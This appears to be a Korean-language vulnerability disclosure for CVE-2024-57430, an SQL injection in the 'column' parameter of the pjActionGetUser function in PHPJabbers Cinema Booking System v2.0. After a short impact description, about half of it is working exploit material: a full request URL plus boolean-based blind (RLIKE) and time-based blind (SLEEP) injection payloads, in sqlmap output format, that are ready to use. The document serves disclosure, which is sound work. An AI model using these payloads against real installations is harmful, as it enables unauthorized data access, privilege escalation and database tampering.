ahrixia/cve-2024-57430CVE-2024-57430: PHPJabbers Cinema Booking System v2.0은(는) SQL 인젝션에 취약하여 승인되지 않은 데이터 접근 및 권한 상승으로 이어질 수 있습니다.
PHPJabbers Cinema Booking System v2.0의 pjActionGetUser 함수에서 발생하는 SQL 삽입 취약점으로, 공격자가 column 매개변수를 통해 데이터베이스 쿼리를 조작할 수 있습니다. 이 결함을 악용하면 무단 정보 공개, 권한 상승 또는 데이터베이스 조작으로 이어질 수 있습니다.
취약한 매개변수: column
SQL 삽입은 민감한 정보에 대한 무단 액세스, 데이터베이스 수정, 나아가 데이터베이스 서버의 완전한 손상으로 이어질 수 있습니다. 이는 애플리케이션의 기밀성, 무결성 및 가용성에 심각한 위협이 됩니다.
URL에 대한 GET 요청: http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionGetUser&column=*&&direction=ASC&page=1&rowCount=10
Parameter: #1* (URI)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionGetUser&column=name RLIKE (SELECT (CASE WHEN (7874=7874) THEN 0x6e616d65 ELSE 0x28 END))&direction=ASC&page=1&rowCount=10
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://127.0.0.1/CinemaBookingDev/index.php?controller=pjAdminUsers&action=pjActionGetUser&column=name AND (SELECT 6530 FROM (SELECT(SLEEP(5)))UFOj)&direction=ASC&page=1&rowCount=10